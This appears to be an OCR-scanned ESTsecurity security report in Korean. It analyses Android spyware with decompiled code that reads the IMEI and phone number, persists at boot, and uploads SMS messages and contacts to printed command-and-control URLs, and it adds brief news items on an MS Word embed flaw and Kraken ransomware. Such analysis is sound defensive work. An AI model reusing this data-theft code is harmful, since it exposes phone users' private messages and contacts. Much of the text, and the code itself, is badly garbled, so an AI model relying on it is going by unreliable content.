J0BOR: 14 CE 03 00 31 CE 03 00 52 CE 03 00 6& CE 03 00 .%f..1%1..mE..531..
DOCOR: 91 CE 03 00 B9 CE 03 00 E0 CE 03 00 08 CF 03 00  °I..*I..al...1..
n0DOh: 2% CF 03 00 31 CF O3 00 4E CF 03 00 71 CF 03 00 | )¥..1I..WI..al.
JOEOR: BE CF 03 00 %C CF 03 00 RB CF 03 00 BS CF 03 o0  Z%..ef..«f..:%..
D0FQh:; C7 CF 03 00 E8 CF 03 00 FB CF 03 00 0% DO 03 00 | CgI..ef..aX...®..
D100R: 21 DO 03 00 30 DO 03 00 SE DO 03 00 51 DO 03 00  '®..00..>8..00..
D1lon: 5B DO 03 00 72 DO 03 00 SA DO 03 00 A5 DO 03 00 | [B..rP..52..¥0..
MigfAkh. AT TN AT MO S0 TN A AN & Tl 0% nn Fe M A AN +5 aF Lkl Aa=F
Template Resulls - dex bt
Name
cl headar_ltemn dex_heade m
» slruct dex_magic magic B
uint checksum 21218320
» SHAT signature[20] Pkimhiivi 7

uint file_size 1273044

uint header_size

uin? andian_tag 12356780

13 6CD4

HEX 13 6CD4

DEC 1,273,044

mEPEES =

ESTsecurity Copyright © 2018 ESTsecurity Corp. All rights reserved. 34



03 opyTE

HI

M HT

24 YA TRl 2A]

02

“assets” B0 “imagezip” 0| L=H| LR 0= 2
TAIsH= 0f2f Mol AR S0] U

————— e R

try {

ol ARBEl= 710t S 23 ATl ofy HS

CF_UnzipFromAssets.unZip({(Contextithis), “image.zip", MyaApp.RES_FOLDER, true)

T
catch({ICException vwl1) {
vl.printStackTracel);

T
}W_IU'-.U:'.dPﬂ.
META-INF _
assets B image.Zip
lib ] libjiagu.so
org D libjiagu_xB86.50
res

.PIIH IIH

jilin_number_bg. jilin_number_bg1 jilin_number_bg1 jilin_number_end jilin_one_bottom.

png png _top_right.png png png

- - . - - - . -
¥ N t rey3 e F W ]
-
; T8 ¥ in

jilin_paged _avtor  jilin_paged_avtor  jilin_paged_avtor  jilin_paged_avtor  jilin_paged_avitor

1.png 2.png 3.png 4.png 5.png

[ 10] 2+ Aol AkZEh= m

71712| Of0|C |2t MetHoE EFol0] A Y22 AIZSiT,

d

e e e e e LT = S e iy

null;
arg?.getsystemService("phone™);

this.mTelManoger
this.mTelManager

h

public String getIMEI() {
return this.mTelMaonoger.getDevicelId();

h

public String getNativePhoneNumber() {
return this.mTelMonager.getlinelNumber();

B3 1] 717] g &
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03 oHYTE

HI

M HT

717| B2 Al MHIAS SliA7{ XIEHR okl RIS 7ISES oitt.

static fimal String ACTION = andruld intent. aLtan BOOT_COMPLETED" ;

private static fimal String TAG = "BootReceiver™;

public BootReceiver() {
super();

b

public woid onReceive(Context arg4, Intent args) {
CF_CBXLog.clearlog(true);

CF_CBXLog.D({"BootReceiver”, "onReceive™ + args.getAction());
if(!CF_Hils.servicelsRunning(argd, PG_Constant.SERVICE_CLASS)) {
CF_Utils.startServicel(argd, PG_Constant.SERVICE_CLASS);

1

PG_CallRcver.setlistener();

(3221 12] 7|7| 2EI A| XHALSH

‘?JEO IE ’“7'<*'01I)k1h L ARZH St 2A0[IO0|S ALZSHX| 222H THX|A| =h=H| 0=

vate void init{) {
CF_CBXLog.D{"PG_Service™, ™init.")};

HIX[510] CRC 40| KIBEOI

this.wflock = this.getSystemService("wifi™).createWifilock("PGHifi_Lock™);

this.wflock.acquire();
CF_CBXLog.D{"PG_Service", "init. ok™);

[23 13] XEEAQ! ojmo| iE

HARIE 7 1M22 ZAloiil EFol0] C&C AMHZ TESITY,

aylist v18 = new ArraylList();
le(w8.moveToNext()) {
String v21 = v8.getString(ve.getColumnIndex(” _id"));
String v19 = vB.getString(ve.getColumnIndex( address"));
String v17 = vB.getString(ve.getColumnIndex( body”));
long v24 = vB.getlLong(vd.getColumnIndex( date")};
CF_CBXLog.D("PG_UpThread”, ".smsId:" + v21);
CF_CBXLog.D("PG_UpThread”, ".number:" + v19);
CF_CBXLog.D("PG_UpThread”, ".msgBody:" + v17);
CF_CBXLog.D("PG_UpThread”, ".time:" + v24);
CF_SMSData w16 = new CF_SMSData();
v16.number = v19;
vl6.content = vl17;
v1G.time = vll.format(new Date(v24));
if(v24 > vi4) {
wvld = w24 + 5000;
CF_SPUtil.save(this.mContext, "KEY_LATEST_SMS_TIME", wll.format(new Date(wld)));
H

v18.add(v1E);
if(3 > ((List)wvi8).size()) {
continue;

H

CF_CBXLog.D("PG_UpThread", "data:" + CF_Utils.InputStream25tring(CF_Http.executeHttpPost(MyApp.masker.getMsg(), CF_XmlFac.getUploadSmsXML(this.mContext, v18

((List)vi8).clear();

WERVAR NANE=

FARS F/HO= ZAOlL ZF[ot (RC AH= TERICL

ESTSECU”‘U’ Copyright © 2018 ESTsecurity Corp. All rights reserved.
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= this.mContext.getContentResolver().query(ContactsContractiCommonDatakinds$Phone.CONTENT_URI, new String[]{"display_name”, “datal", "raw_contact_id", "sort_key"}, null, null,
w15 != null &% wl5.getCount() != @) {
int v8 = v15.getColumnIndex("datal™};
int w7 = vl5.getColumnIndex("display_name");
A yList v1@ = new ArraylList();
while(v15.moveToNext()) {
String w1l = wl5.getString(ve);
if(TextUtils.isEmpty(((CharSequence)vls)})) {
continue;

}

String w1l = w15.getString(v7);
CF_CBXLog.D("PG_UpThread”, "n.ame:" + vll + ",phone:" + v16);
CF_PersonData v39 = new CF_PersonData();
v9.name = v1l;
v9.number = v16;
({List)vi@).add(va);
if(1e > ((List)vie).size()) {
continue;

}

CF_CBXLog.D{"PG_UpThread”, ".data:" + CF_Utils.InputStream2String(CF_Http.executeHttpPost(MyApp.masker.getPhbk(), CF_XmlFac.getUploadPhonebookXML(this.mContext, ([List)vi@)
((Lizt)vie).clear();

22 15] FA= 25

St IS 2RIt £ HSE ZAIGH oiFHMHAH HZE=S Stil ARSKIE £017| oM 71t S2t AFES
I

onCallstateChanged(int arg23, String arg2a) {

H
W
og.D{"PG_CallRcver™, "Changed:™ + arg23 + ", " + arg24);
arg23) {
e @: {
CF_CBXLog.D("PG_CallRcver”, "EEBF - IsShowing:™ + PG_CallRcver.mWindowIsShowing);
if(!PG_CallRcver.miindowIsShowing) {
goto label_13;

¥

String w4 = "PG_CallRcver™;

StringBuilder v5 = new StringBuilder("#ESBEZH?:");
boolean w2 = MyfApp.collStatus == 2 7 true : false;

CF_CBXLog.D(wv4, vS.append(v2).toString());

vB = new Bundle();

vB.putstring("number”, PG_CallRcver.mFlLootViewNumber) ;

StandOutWindow.sendData(PG_CallRcver.mContext, PG_Windw.cless, MyApp.WINID, 4, v6, PG_Windw.closs, MyApp.WINID);
PG_CallRcver.hondler.postDelayved(PG_CObserver.mRunnoble, Z200a);

int w14 = MyApp.collStotus;

if(CF_Utils.isSamsung()) {

vlS = vld4 == 2 ? 4908 : 5808;
¥
else if(vl4 == 2) {
vlS = 2000 ;
¥
else {
wl5 = 286;
¥
if{PG_CallRcwver.mDisRunnoble == null) {
goto label_13;
¥

PG_CallRcver.postDelay(PG_CallRcwver.haondler, PG_CallRcver.mDisRunnoble, {{long)lwlS));
break;

23 16] S5t EF

C&C M= “lib” ZE2| “libmasker.so” MY LTS gt~ SE= SollA S2=2L.

L Jawva_com_android_ hellod3 Masker

Env: :NewStringUTF(al, "http://nongé@ . tjaiedjrw:.com:8882/api_wvisit.php™),

id hellod3 Masker_getLog(_ JINIEnw *al)
F(al, "http://nongFEs _ Fia- sdfrm.com: 8882 /android_upload_vfile.php™):

e

META-IMNE [ libhelperso
assets [ librmasker so

lib
armeabi

22! 17]CRC MH

ESTsecurity Copyright © 2018 ESTsecurity Corp. Al rights reserved. 37
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1. 30
U= HX| £X] 242 MS Word 2| F2H
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=

Unpatched MS Word Flaw Could Allow Hackers to Infect Your Computer
LHE A2 = UTE ofZol AIZAIt 52| ZARE0|A

=0| I0|3Z24AZE QA 2016 I 0 HH0| EXHoh= IHX| ZIX|

opy FEE

o =1 k=]
e =ty Z2es

ALO|H HOt A1
LML, Ol= SAX ZA] T L0
C= ABHSIEE 221 4 QIC}
I
2 IS

oML
CGymulate 2] HAHSO0| L7t O] M7= Word EA12] “22121 H|ER” 7|52 UESIC Ol R I E AE5H
S0|C} AF2APEMS Word 2A{0f] 22121 HIC|R ZIFE F=Jf51H, 0] 220!
AEAZHZM0H| 28t E

ﬂJl

E_ —
ASEEE

=

TR I
YES MASICE 0] A

217451K| 37H20| Kt 3

A0 H|E2E &Y
HTML embed £

HIOR 7IS2 AIso=
AgEICy
QI IS Tl HTRSS 0] Fope ¢

==lotH

OO|FRAZEL 0| 22 HOt Xjokoz
ot |2 ZE3HEt.

Of F2FHo|| Cifet LIES 57

M2 MSWord 342 OEA| SZoiR?
Word Doc It2d(docxy= AAIZ O|C|0] ¥ A4 mlo| 225t El zip I7 X2 A @E 2 TEO| 7tSslct,
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Of Chgh 24 20170

Threat Inside - Y43 C 9
ESTsecurity -

13

L&

fy

= M
o M E-EURE T I e
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‘documentxml’ IILL £80| 7FsaH H|C|R iFrame ZES B 12RRE0IM AHE HTML £ javascript ZE2
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ko] Eell, SARE= 0] FIFHE AUSel Al 772 HIERLE 2HU HASZ2 CI2EC IHLIX0A &
ofd FC= HAS = UCk= O[0F7 |,

o

El=

“ml I LSRN SEE 00| T FEE IS6H= embeddedHtml D2H0|E{(WebVideoPr) Of2t0|E{S Zh=LC}
Document.xml IHI0f| B ASHS MASHD £ El xml IS E&610 docx IH7 | XIS SHI0IE §t 5 &
QESIE MS Word 0iM O] 2ME 2ESk= St st HOF A5 LIEH K| =L}

oMoz ST ZM0| L E H|ERE
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/pic:ciivPro<picicNvPicPr/></pic:avPicPrr<pic:blipFill><a:blip r:embed="rldS"><a:extlstir<aiext uri="{28A0092B-CS0C-407E-A947-70E740481C1C)"
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New Intel CPU Flaw Exploits Hyper-Threading to Steal Encrypted Data
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MH|AS BHMYE SO0l Kraken MUK 2.0
Kraken ransomware 2.0 is available through the RaaS model
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